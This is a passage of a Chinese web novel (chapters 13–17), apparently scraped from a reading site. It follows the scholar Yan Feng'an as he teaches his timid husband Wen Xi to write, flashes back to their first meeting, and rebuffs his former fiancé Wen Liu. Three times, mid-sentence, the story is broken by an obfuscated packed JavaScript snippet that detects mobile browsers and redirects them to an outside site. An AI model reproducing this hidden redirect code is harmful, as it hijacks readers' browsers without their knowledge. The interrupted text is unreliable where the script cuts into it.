这倒出乎严逢安的意料,他拿出宣纸,随意用镇纸压了压:“来,写给我看看。” 闻溪摇了摇头:“我字写得不好,还是别浪费你的纸了。” “写字这事也不是一蹴而就的,你没有机会练习,能写得好才怪,这纸我本来就是用来打草稿的,不怕浪费。” 严逢安将毛笔蘸上墨,抬抬下巴,示意闻溪接过去。 闻溪没从他脸上看出羞辱的意思,沉默片刻,站到严逢安身旁,一笔一划在宣纸上写下了自己的名字。 闻溪心里有些紧张,拿笔的手却意外的稳,笔画墨水虽不匀净,但结构得当,不像其他初学者那般歪七扭八的。 严逢安夸赞道:“这不挺好的吗,你名字笔画多,能写成这样很不容易,而且你笔画顺序一笔都没错,这很了不起了,谁教你的?” 闻溪摇了摇头,只说自己经常拿木炭练习,别的什么都没解释。 他不想说的话题严逢安也不会追问,只玩笑道:“不然以后你帮我研墨,我教你读书写字吧。” 之前占他身体那人对闻溪干的事严逢安都记得,在他面前,闻溪把自己的情绪藏得很深,但严逢安知道他心中非常介意这个事。 闻溪是个老实人,严逢安说什么,他就信什么:“可我不会研墨。” “研墨多简单啊,往砚台上加点水,拿着墨锭往上磨就行。” 闻溪面露挣扎,又听严逢安道:“这可是好事,你要是会认字了,以后别人再也不能拿这事来戳你痛脚,出门跟人说话也不会露怯了。” 他想不通闻溪在为难什么。 读书的好处闻溪哪能不懂,他伸手指了指外头:“可是,这几日我想跟着大嫂她们学学怎么做衣裳。” “还有你的鞋子,我也没做好。” 所以的事情堆在一块,他就是想学,也分不出那么多的精力来。 严逢安粲然一笑:“嗨,我还以为多大个事呢,这样吧,你先跟着大嫂她们干活,等衣服做好了再说。爹娘给我请了长假,书院那边我要明年开春再去,日子还长,等你空了我再慢慢教你。” “好。”闻溪心头一松,也不自觉的笑了笑。 傍晚倦鸟归巢,严世昌也带着两个儿子回了家。 男人在外挣钱干活十分辛苦,晚饭陈兰芳就多下了些功夫,除了鲫鱼豆腐汤,她还另做了两荤一素,每道菜份量都很足。 每日的晚饭时间是闻溪最期待的时刻。席间一家人整整齐齐的围坐在一起,大哥二哥两个话痨吃饭时都不忘讲述自己在外遇到的趣事,大嫂锦哥儿一边给孩子挑菜,一边附和自家相公,两个长辈微微笑着,时不时也会搭两句腔。闻溪大着胆子多挑了一块豆腐,也没人会嫌他吃太多了。严逢安虽是读书人,饭桌上也不迂腐的讲究“食不言,寝不语”那套,不过大多时候,他和闻溪一样,只静静聆听着,不怎么接话。 豆腐吸了鱼汤的汁水,变得又鲜又嫩,味道跟闻溪记忆中一模一样。馋了这么多年,终于吃上了念念不完的鲫鱼豆腐汤,闻溪眼眶发热,很想越过经久的时光回去安慰安慰那个因为想喝一口鱼汤而被父母责骂赶出门的自己。 就在他有些难过的时候,碗里又多了些肉菜,不用看也知道是谁给他挑的。 闻溪轻轻抬眼,严逢安刚多挑了几回木耳炒肉,想来应是喜欢这菜,便也给他挑了些。 晚饭过后又是好一顿收拾,待天色晚了便各自回屋睡觉,闻溪闭上眼昏昏欲睡时,严逢安忽道:“啊,我记起来了,你那名字是我教你写的。” 14. 与君乃是旧相识 景和七年,距离严逢安考上秀才还有一年的光景,时值清明,大周朝在此节日素有扫墓祭祖,游春踏青等活动,为表重视,每年这个时候书院学子都会休沐三天。 严逢安从县城回来的时候,远远的瞧见山野间开满各色鲜花,他一时兴起,下了牛车,绕着村后的山路意欲赏鉴这难得一见的美景。 行至桃树沟时,却突然看到一个半大的小孩穿梭在几棵野果子树间。此处幽深僻静,忽地多出个人来,倒着实惊了严逢安一把,以为是书本里写的什么山精野怪,定睛一瞧,却是个乞儿。 那乞儿很瘦,身上衣裳不知是从哪里捡的,料子还算不错,却极不合身,空荡荡的像口袋挂在他身上。他站在一棵桃树下,双手在树上扒拉着什么,又时不时往嘴里塞。 此时并不是桃树结果的时候,这树上能吃的东西大概也就是桃树分泌的桃胶了。 严逢安心中甚感惊奇,欲走近与他攀谈,又怕自己突兀的出现会把人吓着,正踌躇着不知该不该上前时,这乞儿却灵敏的听见他的脚步声,猛地抬起头。 映入眼帘的是一张脏兮兮的瘦脸,颧骨微凸,下巴尖尖,一双杏眼倒是亮晶晶的充满警惕戒备。 严逢安往前走,那乞儿就连连往后退,严逢安停下,他也跟着停下,如此倒叫严逢安不知怎么做了。 两人就这样闭口不言僵持对峙了几息,最后还是严逢安受不了,从包袱里摸出两个馒头来。 这是他在城里买的,坐在牛车上一直没找到机会吃,倒不如拿出来给这乞儿。 严逢安拿着馒头往前递了递,问他:“吃不吃?” 乞儿看着馒头,咽了咽口水,人却没动。 严逢安慢慢朝着他走近,待到乞儿一伸手就能拿到馒头时,他才停了下来说:“吃吧,我不要你钱,也不要你还。” 那人看着馒头,又看了看他,见他眼神澄澈,面色温柔,心中防备减轻了些,舔了舔干燥的嘴皮伸手接过其中一个馒头,小小的咬了一口。 想来他也明白噎着的滋味不好受,明明饿狠了,得了食物却没有狼吞虎咽,严逢安看着他一口一口的吃着,等他吃完,又把另一个递给了他。 已经吃了一个,第二个那人就没有再故作矜持,咀嚼的动作都快了些。 咽下最后一口,他忽然跪在严逢安面前,给他磕了个头,干涩地说了声“谢谢。” 严逢安将他扶起道:“不过是两个馒头,哪值得你下跪道谢,男儿膝下有黄金懂不懂?” 那人看着他摇了摇头。 “就是说好男儿不能随便给人下跪。”严逢安伸手替他掸了掸膝盖上的尘土,又拿出手帕擦掉他嘴角的馒头屑,顺带将他脸蛋也擦干净了些。 也是这时他才发现,眼前这个乞儿是个小哥儿。 这小哥儿额上红痣若隐若现,不太明显,但仔细看还是能瞧出来的。 严逢安往后退了些,拉开两人距离,问他:“你叫什么名字?哪个村的?” 那人倒也没有隐瞒,小声道:“闻溪,稻香村的。” “嗯?你也是稻香村的,我怎么对你一点儿印象都没有?”严逢安在脑子里搜寻一阵后,道:“可是闻石山家的孩子?” 闻溪点了点头。 “难怪了,我是村西头严木匠家的严三郎,咱们两家离得远,我进城上学也不会走你们那边,是不容易见着。” 严逢安十岁过后就被父母送到城里书院上学,一年到头除了休沐的时间,很少在村里走动,闻溪又比他小几岁,不认识倒也正常。 他又问:“可知你的名字是哪个xi?” 闻溪摇了摇头。 瞧他不似上过学的模样,严逢安捡起一根树枝,寻了块少有杂草的土地,在上头写了几个字。 闻溪看不懂,也不敢问,神色略显局促。 严逢安挨个解释:“这个西表方位,这个希,是希望的意思,这个溪呢就简单多了,小水沟的意思。” 闻溪看着“溪”字道:“爹娘常骂我是溪沟里的臭水,流到哪儿都没人要,原来就是这个字。” 严逢安嘁了一声:“你那爹娘一看就没什么文化,你瞧那山涧中的溪水多厉害,石头挡不住,泥沙混不浊,虽小却活,柔而不弱,再没比它寓意更好的字了。” 他将闻溪的全名写在草地上,一笔一笔拆给他看:“闻字就是门里面一个耳,溪的左边有三个代表水的点,右边上面像个爪,下面一个幺儿的幺和一个大小的大。” 严逢安的话让闻溪心里升起一股很奇妙的感觉,他默默注视着那两个字好久,过一会儿,蹲下身子把手指放在地上描着,一笔一画描完,他的名字仿佛都没那么难听了。 “所以,我不是溪沟里的臭水对吗?” 严逢安道:“当然不是,以后若有人再这样说你,你可以用我刚才的话反驳他,这是个极好极好的字。” 闻溪时常觉得自己是一根任人践踏的杂草,卑微低贱,一辈子只能匍匐在别人脚下苟活,就连名字也让人所不喜。 现在这个名字却有了其他的意思,不是坏的,不是臭的,是好的。 他脸上露出了一丝笑容,眼角却湿润了。 他人看起来瘦小,实则已到十二三岁的年纪,与严逢安差了也不过三岁而已。 一个男子一个哥儿,在深山林子里私自相处容易招惹是非,严逢安将树枝丢向别处,站起身拍了拍自己手上的灰,将包袱里剩下的两个馒头都给了他。 “天色不早了,我得走了,你一个哥儿在林子里待着不安全,早些回去吧。” 闻溪捧着馒头静静望着他,又说了声谢谢。 严逢安朝他点了点头,沿着来时的路回了村。 目送他离开后,闻溪捡起地上的树枝,临摹着他留在地上的字,成功写出了自己的名字。 他怕有人路过瞧见,也来不及欣喜,学会了之后就用脚把地上的字抹平,还拔了些草盖在上头掩饰两人留下的痕迹。 除了严逢安和他,再也没人知道他们在这里有过短暂的交集。 记忆回笼,严逢安道:“我只教你一次,你便记住了这样复杂的两个字,真是聪慧,我还以为你早忘了呢。” 如果可以的话,闻溪不愿意回忆他跟严逢安之间的一点儿过去,只是严逢安这样一提,倒逼得他不得不把那些事儿想起来。 一时间他睡意全无,语气带着些他自己也没察觉到的哀怨:“是你忘了。” 不然这个说他名字极好的人,怎么会跟闻柳一起骂他是溪沟里的臭水呢。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536439|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 严逢安听出了他的失望,张了张嘴想解释什么,却又不知从何说起,千言万语落到嘴边只化作一句:“对不起。” 闻溪想要的并不是道歉,只是他也不清楚,到底想听严逢安说些什么。 心中莫名起了些别样的小情绪,扰得他心烦,只得翻身背对着严逢安做出抵触的情绪来。 坏事不是自己做的,锅却得他来背,严逢安心头郁闷,不知该找谁说理去。 各怀心事的两人直到大半夜才睡着,到了白天,又跟什么事都没发生过似是照着往常一样相处。 天气越来越凉,地里的活也越来越少,闻溪整日没事就跟着婆婆嫂嫂一起学做衣裳。 李婉问他:“你在家有干过这活吗?” 闻溪摇头说没有,家里的布怎么可能让他糟践,别说做了,李巧珍怕他偷师学艺,连瞧都不让他瞧。 “不过我针线活做得不错,家里的衣服破了,都是我缝的。” 一开始他只缝自己的衣裳,后来李巧珍见他缝衣服的针脚不错,便将家里破衣裳都丢给他缝。 知他不是托大的人,李婉拿起一块裁好的袖子道:“那你来负责锁边吧。”怕闻溪不懂,她拿起针一边教一边说,“就是沿着剪开的毛边缝一道,不让它散开。” 没把握的事闻溪从来不做,瞧了两眼,确认自己不会搞砸后,他便拿着针开始缝了起来。 李婉低头裁布,偶尔抬起头看他一眼,看了一会儿,她跟一旁的何锦说道:“小溪动作还挺快的。” 何锦也抬起头看他:“针脚细密,间距均匀,不说我还以为他是个熟手呢。” 有了闻溪的帮忙,几个人做衣服的速度更快了些。家里人都先紧着他跟严逢安,很快一件麻布短褐和两件青衫就做好了。 青衫有些素净,何锦想着在领口和袖口再添些花样,严逢安偏爱青竹和月桂,正好可以分别绣在这青黄两色的布匹上。 闻溪没什么特别的喜好,严逢安绣青竹,他也跟着绣青竹。 何锦在线筐里翻找一阵,问他:“你说选哪些颜色比较好?” 闻溪不知他是在故意考验自己,对比着衣裳的颜色挑了几支他认为合适的线。 何锦跟他选的颜色一样,笑道:“不错,你色感比大嫂强,不如三弟衣裳的绣纹就你来绣吧。” 闻溪连连摆手:“这个我真不会。” 何锦也没强迫他:“那你先看我绣着,以后再自己上手。” 也难怪陈兰芳和李婉都夸何锦绣工好,绣这些花纹前,他都不用专门画样,瞧着随心所欲的样子,绣完一看,层次和颜色过渡都出来了,着实让人佩服。 青竹绣完,两件衣服就算彻底完工了,何锦哄着闻溪道:“赶紧拿进去换了,穿出来给我们瞧瞧。” 李婉倚着何锦,笑嘻嘻道:“将三弟的也一并带上。” 有新衣服穿,闻溪心中也有些期待,回屋的时候严逢安正坐在书桌旁看书,他上前道:“大嫂让咱们试试新衣裳。” “好。”两人都一块睡了这么久,换件外衣也没什么好避讳的,不过那都是晚上,青天白日的,闻溪脸皮又薄,怕他不好意思严逢安还是背过身去,心无杂念换好了新衣后,就听闻溪低声道:“我换好了。” 15. 旧衣掩花容 尽管已经做好了心里准备,转过身时,严逢安还是微微愣了愣神。 常言道人靠衣装马靠鞍,看见闻溪此时的模样,严逢安才深感这句话真的很有道理。之前闻溪那些衣裳又破又旧,还不合身,穿在身上总给人一种莫名的滑稽感。 新衣裳是比着他的身量做的,裁剪得体,长短合适,还微微突出了他的腰身,青色淡雅却不暗沉,衬得原本灰扑扑的他都明亮了几分。 闻溪被他盯得有些脸红,低着头双手不自在的攥着袖口,小声着结巴问:“怎……怎么样?” 严逢安笑着走上前去:“衣裳好看,人也好看。” 闻溪当惯了鹌鹑,受不了他这样直白的夸赞,红晕一直烧到了脖颈,头恨不得埋到地上去。 严逢安手指轻捏住他的下巴,强迫他抬起头来,语气温和却又不失强硬:“穿了新衣就得大大方方展示,不要老是缩着肩膀低着头,这么漂亮合身的衣裳,没人会笑话你什么。” 从前的严逢安绝对不会用这样的语气跟他说话,也不会这样温柔的眼神看着他。 两人就这样避无可避的对视着,闻溪挣脱掉他的手指,将那深埋心底的抱怨说出口:“你以前就喜欢笑话我,还说我是一只长得很丑的小鸭子。” 闻溪是个没什么脾气的人,对别人的恶意也早就习以为常,可是一想到严逢安曾经说的那些话做的那些事,他心里就跟针扎似的疼得厉害。 严逢安本意是想夸人,谁知又勾起了闻溪的伤心事,他伸手打了打自己的嘴巴:“真真是一张胡说八道的破嘴,你这么一个好看的人儿,怎么会是丑小鸭呢。” 除了四书五经,严逢安也会看些别的杂书,长这么大,他从未在哪本书中看过“丑小鸭”这三个字,想来这个词汇应该也是那侵占他身体的人带来的。 抢了他的身体就罢了,还故意欺负人,可真不是个玩意儿。 “以前的事是我不对……”你别放在心上,后半句话空话严逢安都不好意思说。 这具身体给闻溪带来的伤害是实打实,他觉得委屈,闻溪又何尝不无辜。有些话闻溪藏着不说,他却不能装作不知道,两人这段姻缘对闻溪而言本就是一场意外,不表明态度,闻溪永远都不可能安心。 他想比起那些轻飘飘的道歉,闻溪更想要一个承诺,他拉着闻溪的手道:“你就当那个欺负过你的严逢安已经死了吧,你是我明媒正娶的夫郎,不管从前咱俩如何,以后我一定好好跟你过日子。” 双手被人紧紧握住,闻溪有些赧然和不自在,却没像以往那般往后缩。他咬了咬唇,双眼红红直视着严逢安,似乎想听听他还能说出什么话来。 严逢安也没回避他的眼神,认真道:“此后只要有我在一天,就不会再让你受半点委屈,半点伤害。” 闻溪嘴唇动了动,一大堆想说的话全堵在了嗓子眼,只轻轻落下一滴泪来。 严逢安太会变脸了,他不知道到底该不该相信他。 尽管心中一直有道声音提醒自己要保持理智,可严逢安这番话多少还是让闻溪心中生出一丝希冀来。 自打他嫁入严家后,严逢安确实没让他受过一点委屈,说不定以后他会一直这般好呢? 脸颊上的泪水被严逢安拭去,男人语气无奈道:“说两句好话哄你,怎么还把你哄哭了?” 闻溪吸了吸鼻子,小声嘟囔:“说得好听,可你要是做不到呢?” 君子一诺重千金,若连这都做不到,那他岂不是枉为男人?严逢安不想把两人之间的气氛弄得这般沉重,看了一眼袖口处的青竹,笑道:“若我做不到,以后你便随意在我衣服上绣王八。” “为何?” “说话不算话,不是乌龟王八蛋又是什么。” 闻溪破涕为笑,摇摇头道:“我不会绣王八。” 迟疑片刻,他转身走到木床旁,取出了藏在床底下的鞋子,鼓起勇气送到了严逢安手中。 严逢安接过鞋子时嘴角弯了弯:“我还以为你不打算送我了。” 闻溪嘴上没回他什么,心里却道:做都做了,又怎会不送。 此时严逢安的心情就跟闻溪得了新鞋差不多,迫不及待的换上后,高兴道:“这下我也有夫郎做鞋,再不用麻烦家里其他人,也不用再羡慕大哥二哥了。” 许是被他快乐的情绪感染,闻溪也不自觉露出一点儿笑容。 小两口衣服一试就试了半刻钟,正当何锦李婉觉得奇怪的时候,卧房里的人终于出来了。 穿着同款新衣的两人,一个芝兰如玉,一个清秀婉丽,瞧着倒是登对得很。 何锦眼前一亮,拉着闻溪转了一圈道:“瞧我说的什么话,小溪穿上这衣服真是好看得紧。” 陈兰芳望着两人也是说不出的欢喜,她家儿子长相如何自是不必多说,没想到这闻溪也能有这般颜色。 或许是他身上那股窝囊的气质太显眼了,以至于让所有人都忽视了他的容貌。刚嫁进严家那会,他人长得瘦瘦小小的不说,脸色更是惨白到发黑,又常常弓着身体一副受气包的样,谁还有心思关心他长得如何。 这一个多月,家里好吃好喝的供着,倒将他的身体和气色都养回来许多,这会儿瞧着脸色都红润了不少,额头上的红痣也比之前显眼了些。五官细看也是出挑的,尤其是那双眼睛,圆润清澈,若是被他含着泪瞧上一眼,就算是铁石心肠怕也得软下来。 不过闻溪轻易不会跟人对视的,就像现在,发现大家都在打量自己,他又不自在的缩了缩脖子。 一个人的性格短时间内是纠正不过来的,让他立马像家里另外两个媳妇一样大方坦荡也不太可能,陈兰芳没有过于苛责,想着时间长了一切都会好起来的。 几个人围着闻溪夸了一阵后,何锦眼珠一转道:“我绣衣服用的绣线快没了,小溪跟云哥是好朋友,能不能帮我去他家里买一些?” 沈云哥哥是货郎,好多家里用得着的小玩意他那里都有卖的,这么个小要求,闻溪当然不会拒绝。 李婉道:“今日天气还不错,三弟若是没事,也一起出去逛逛吧。” 严逢安也有此意,牵起闻溪的手道:“我陪你去。” 两人也没换衣服,就这样穿着新衣一起出门了。 等人走远了些,陈兰芳嗔道:“两个鬼精灵,偷偷摸摸打什么算盘呢?” 李婉笑道:“真是什么都逃不过您这双眼睛。” 何锦意有所指:“再不让咱们三弟和溪哥儿出去现现眼,有些人怕是眼睛都要望穿了。” 瞧陈兰芳一头雾水,李婉又道:“这几日我跟锦哥儿出门,起码在咱们家附近看到过那谁三回了,打扮得花枝招展的,也不知是想给谁瞧。” 何锦撇嘴道:“可不是吗,他那点心思都摆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536440|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在了明面上,真以为咱们家的人眼盲心盲,是傻子呢。” 陈兰芳眉头一紧道:“当初成亲的时候就说好了,以后咱们两家井水不犯河水,各过各的日子,这人吃错什么药了,要来咱们家膈应人。” 何锦悻悻道:“也怪我这张嘴没个把门的。” 他将自己上次在张婶那里遇到闻柳的事原原本本的说了出来,陈兰芳听了嗤道:“你这些话有什么错?别人家小两口感情好倒是碍着他了。” 李婉道:“就是嘞,所以我跟锦哥儿才找借口让三弟他们出去逛逛,也好早些让他死了那条心,少干点膈应人的事。” 这段时间严逢安闭口不提他跟闻柳那段过去,对闻溪处处体贴周到,对家人也不再疏离冷漠,瞧着确实是要安分过日子的样。 只是当初他如何痴迷闻柳,家里人都瞧在眼里,谁知道那人勾勾手指,他会不会又巴巴的凑上去。 她跟何锦故意让两人出去买东西,是显摆,也是试探,若严逢安真对闻柳熟视无睹了,大家才能彻底放下心来。 这些话李婉自是不能在陈兰芳面前说,婆媳母子终归是不一样的,当媳妇的要想跟婆婆处好关系,首先就得学学这说话的技巧,不然一家人还不知要生出多少是非来。 —— 沈家和闻家是一个方向,在村子东边,离严家有些距离,闻溪他们得走上一阵才能到沈云家。 因着秀才身份,严逢安在村里也算一号响当当的人物,加上他受伤和成亲的事都在村里传得沸沸扬扬,这会儿见他在村里走动,大家伙都少不得要观察他,尤其看到他身旁跟着的哥儿后心头更觉惊奇。 男人们面对面不敢仔细瞧,只等两人走远些,才抬起眼打量。 一个个都在心头嘀咕,光知道闻家那大哥儿长得好看,谁知这小的打扮起来也很出挑,以前他们怎么就没看出来呢。 闻溪知道别人在看他,若非严逢安拉着,他早就迅速逃了,哪能让别人这样打量。 瞧他又是那副瑟缩样,严逢安轻轻捏了捏他的手道:“别害怕,大胆把头抬起来,别人想瞧就大大方方的让他们瞧个够,若是觉得被冒犯,那你就看回去。” 说着他就定定的看向前方一个年轻汉子。 那汉子本来是在看闻溪,察觉到严逢安的神色,他才觉得自己失了礼,埋着头往前走了两步,离远了些他又回过头来,看着两人的背影有些怅然和失落。 闻溪没察觉,只小声跟严逢安道:“万一别人觉得我是在故意挑衅,动手打我怎么办?” 乍听这话严逢安有些哭笑不得,哪有看一眼就要打人的,但闻溪这样问,想必是真遇到过这样的情况。 想到这,严逢安也笑不出来了,他虽想改改闻溪的性子,可也不会强迫他做不喜欢的事。 抬手把人往怀里揽了揽:“算了,你要真不习惯,就躲我怀里好了。” 穿着这样的衣服就够显眼了,他还做出这样的举动,闻溪心道两人虽是夫妻却也没熟悉到这种地步,红着脸把人推开,深吸口气后,他慢慢抬起头直视着前方的路。 掌心里的手微微起了汗,严逢安什么也没说,只微微笑着牵着闻溪的手默默往前走。 正如严逢安所说那般的,当闻溪大大方方后,落在他身上的目光反而少了些,这也是他头一回知道,原来自己曾经走过无数次的路竟然这么宽阔。 16. 从此安郎是路人 走了一阵,两人到了沈家,沈云一见闻溪便心中欢喜,拉着他的手叽叽喳喳的说个不停:“小溪,你怎么过来了,是不是专门找我玩的?” 闻溪露出个腼腆的笑说:“我过来帮我嫂子买点彩线。” “你等着啊,我让我哥给你取。”说着沈云朝屋里喊了一声,“沈良,小溪要彩线,你快拿些出来。” 不一会儿就从屋里出来个高大周正的汉子,他一边将彩线递给严逢安一边对沈云虎着脸道:“整日没大没小的,没个哥儿样,也不怕被人笑话了去。” 沈良长时间在外奔走,皮肤有些黑,拉着脸的时候还挺吓人的,闻溪不自觉往严逢安身边靠了靠,却见沈云朝他吐了吐舌头,说:“你瞧我哥这样凶,难怪娶不着媳妇。” 沈良故意气他:“家里养了个这么刁的小哥儿,谁敢嫁给我。” 沈云气鼓鼓地跺了跺脚:“真讨厌。” 他将闻溪拉到一旁,小声抱怨:“原是觉着我碍眼了,才故意将我许给人家。” 明眼人都看出来是兄弟俩斗嘴呢,闻溪也不说破,只道:“已经相看好了吗?” 沈云摇了摇头:“哪这么快,我听了你话还在慢慢挑呢,这种事也急不得。” 他在外头羞答答的,在自己家里倒是横得不行,瞧着严逢安笑眯眯的样子,沈良道:“我弟有些任性无礼,让严秀才看笑话了。” 恃宠若娇而已,严逢安倒不觉得有什么,他道:“这个年纪的哥儿有点小性子很正常,他这样倒也稚气可爱。” 两人一个货郎,一个书生,本不相熟,互相客套一句便无旁的话说。 闻溪跟沈云说了两句,便问:“绣线多少钱?” 沈云摆了摆手:“咱俩什么关系,我能收你钱吗?要是需要你就拿去用好了。” 沈云在村里也没什么特别交好的朋友,难得他跟闻溪合得来,这么点绣线,沈良也没打算收他们的钱。 兄弟俩这么大方,闻溪却不好意思白拿,只是他嘴笨不知怎么说,下意识看了严逢安一眼,就听他道:“本不该为这点钱跟你们弄得这样生分,只是家里这段时间正在做衣裳,晚些时候我两个嫂嫂可能还要接些绣活做,到时用绣线的地方还多得很,若一直白拿你们的,倒叫我们心中过意不去了。” 他从袖子里摸出一些铜板递给沈良,示意他收下。 沈良也懒得为这么点钱跟他们在这里推搡,接过来道:“我隔三差五就要去县城一趟,有什么需要我带的,尽管说。” 严逢安点了点头,又对着沈云微笑道:“若是觉得无聊,欢迎你随时上我们家找溪哥儿玩。” 沈云高兴道:“我当真可以随时去你们家找他玩?” “自然是真的。” 严逢安并非是说客套话,他觉得能有个同龄人陪在闻溪身旁,时时跟他说说话解解闷也是好的。 闻溪现在比以前自由了些,沈云倒是真想天天都去找他玩,之前他对严逢安还有些顾忌,怕惹他不快,这会儿听他这么说,心里当真是高兴得很。 他之前没怎么跟严逢安接触过,远远碰上过几回,只觉得这人冷冰冰的,有些瞧不上他们这些村里人,后来知道他跟闻柳定亲了,沈云对他更是没什么好印象。 今日这样一见,他又觉得这人好像没有他想的那般讨厌。 沈云朝着闻溪眨了眨眼,俏皮道:“这回我总算有理由天天去烦你了。” 闻溪也是开心的,只是他的开心不像沈云那般外露,不过仔细瞧瞧,还是能从脸上窥出一二。 两人出了沈家正要往回走时,身后突然传来一道迟疑委屈的呼喊:“安郎……” 沈家和闻家隔得很近,出门之前,闻溪就在想他们会不会遇到闻家的人。 他被那一家子欺负怕了,一想起他们仨身上的汗毛就忍不住竖起来。这会儿听到闻柳的声音,他脸色骤变,身体也滞了滞。 严逢安本来还不确定身后的人是不是在叫他,一见闻溪这反应就全明白了。 转过身去便看见闻柳泪眼盈盈,眼含惊喜道:“真的是你,安郎,你真的……好了?” 一个未婚的小哥儿竟这般称呼别人的夫君,严逢安敛了敛笑容,正色道:“大庭广众的,还望你自重些。” 闻柳抬手抹了抹泪,柔弱道:“对不起,我见你身体恢复一时高兴便忘了身份,不是故意要你为难的。” 严逢安淡淡道:“知道为难你便不该招呼我。” 闻柳被他噎了噎,转而啜泣道:“我这般对你,你恨我也是应该的,可你知不知道我也是有苦衷的。” 严逢安平静与他对视:“你的苦衷我不是很想知道。” 闻柳装作没瞧出他的冷淡,往前走了一步,似要跟他靠得更近些,严逢安眉头微微皱了皱,心头不快,却也没有立即发作,身体往闻溪那边侧了侧。 “安……严秀才,你听我解释。” “说吧,我跟我夫郎都听着呢。” 严逢安似笑非笑,语气带着淡淡的嘲弄,闻柳好不容易酝酿出的情绪又被他打断,激动道:“你承认他是你的夫郎?” 这话说得好笑,严逢安道:“交换了庚帖,又拜了堂,我为何不认?” 闻柳没想到他真就这样轻易接受了闻溪,他又气又恨,嘴唇发抖道:“他怎么配……” 严逢安打断道:“我喜欢,他就配。” 闻柳崩溃大喊:“可你喜欢的明明是我啊。” 也幸好这片没什么人,不然大家非得被他这不知廉耻的话语惊道。 严逢安好歹也是个有头有脸的读书人,哪有功夫在这跟他掰扯这些,但他知道有些事儿是该做个了断。 这样想着,他道:“自打成亲后,我还没跟小溪一起回过门,今日你便回家告诉你爹娘,明日我会上你们家去,你不是说你有什么苦衷吗,届时我将洗耳恭听。” 听着像有转机,闻柳情绪和缓了些,声音也变柔了:“好,你一定要来。”他就知道严逢安舍不下他,在外面两人都拉不下面,明天关上门了,他一定要好好跟严逢诉诉衷肠,最好是能哄着他重修旧好,将闻溪这小贱蹄子休了去。 这般想着,闻柳又得意的看了闻溪一眼,多日不见,这小贱人倒把自己打扮得漂亮了些,可就算有几分姿色又如何,山鸡永远就是山鸡,真当严逢安会好好待他呢?做梦吧,明日他便将这贱胚子打回原形。 将闻柳打发走了,严逢安又牵起了闻溪的手,有些凉,但好歹没发抖。怕他误会,严逢安解释道:“明日我会跟他把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻溪心头泛起一丝苦涩,这种事难道是他将严逢安看紧就有用的吗?以往他跟闻柳如何恩爱,他也是看见的,也就个把月的功夫,严逢安当真能忘掉那段过去? 闻溪心头闷闷的想:其实严逢安心里装着谁,喜欢谁,他都没那么在乎,他在乎的是自己能不能长久的在严家生活下去。 严逢安的家庭很温暖,家人也和善,闻溪很喜欢这里。 若是让闻柳和严逢安单独相处,这人还不知要编出多少谎话出来,他好不容易才过上了这样的日子,坚决不能让闻柳毁了。 辗转反侧一夜之后,第二天闻溪还是主动开口和严逢安说要跟他一同去闻家。 昨夜他迟迟不睡,严逢安便猜到他心中有所纠结,这会儿闻溪改了主意,他也不觉意外,只细心安慰道:“不要害怕,到了那里你什么都不用做,只乖乖跟在我身边,听我说话就行。” 闻溪点了点头,又见他从书桌上拿起一张写了字的纸,心头好奇,却也没有多问。 说好了要去闻家,一上午严逢安却迟迟没有动身,甚至还颇有闲情逸致的将闻溪叫到跟前,拿出一本启蒙用的《三字经》教他认字。 闻溪心绪不宁,勉强跟着认了几个字,严逢安轻轻敲了敲他的脑袋道:“像你这样的学生,在学堂可是要被夫子打板子的。” 闻溪听了下意识将自己的手藏到背后,委屈道:“这种时候你要我怎么学得进去。” “旁人都不急,你急什么?” 他怎地就知道旁人不急呢?闻溪抬眸,一双含情的眼睛就那样柔柔怯怯的望着他,明明什么话都没说,又好似什么都说完了。 严逢安头转向别处,避开他的目光,叹道:“算了,我真是怕了你了,等吃了午饭我就带你过去。” 17. 白日做梦是臆想 且说闻家这边,听了严逢安今日要上门的话,闻柳一大早就起来打扮,换上了料子软得像水的新衣,戴上了白玉簪和银镯,还往脸上抹了些香粉。 闻柳平日也爱打扮,但从来不像今日这般隆重。 村里人眼皮子浅,嫉妒心又重,还有像赵守田那样的一群癞蛤蟆在背地里惦记他,闻柳虽享受这些人的爱慕,但他也不是个傻的,勾得这些人蠢蠢欲动也就罢了,可千万不能故意刺激他们。他太了解这些臭男人了,一个个的都又贱又坏,连严逢安的指甲盖都比不上,还想娶他回家。 闻柳对严逢安还是有几分真心的,这人年纪轻轻就考了秀才不说,相貌也是一等一的好,他在镇上读书那会儿,也没见过几个长相比严逢安更风流俊俏的,闻柳自己长得就不差,找郎君自然也得找好看的。 严逢安一开始也不是他的首选,这人虽然才貌双全,可家世跟城里那些阔气的公子哥比起来到底差了些。只是那些个公子哥不比他们乡下人单纯,一个个的势利奸猾,只想占他便宜,没有谁是真心想将他娶回家的。 城里人讲究一个门当户对,大户人家永远不可能找他们这些乡下哥儿当正妻,他这个姿色跟人做妾,倒是有一大把人愿意把他抬回去。可妻和妾的地位一个天一个地,他就是想飞上枝头变凤凰也不会这么糟践自己。 思来想去闻柳还是觉得严逢安更适合他,这人的家境虽然跟城里那些大富大贵的公子哥没法比,却比村里普通人家强得多。 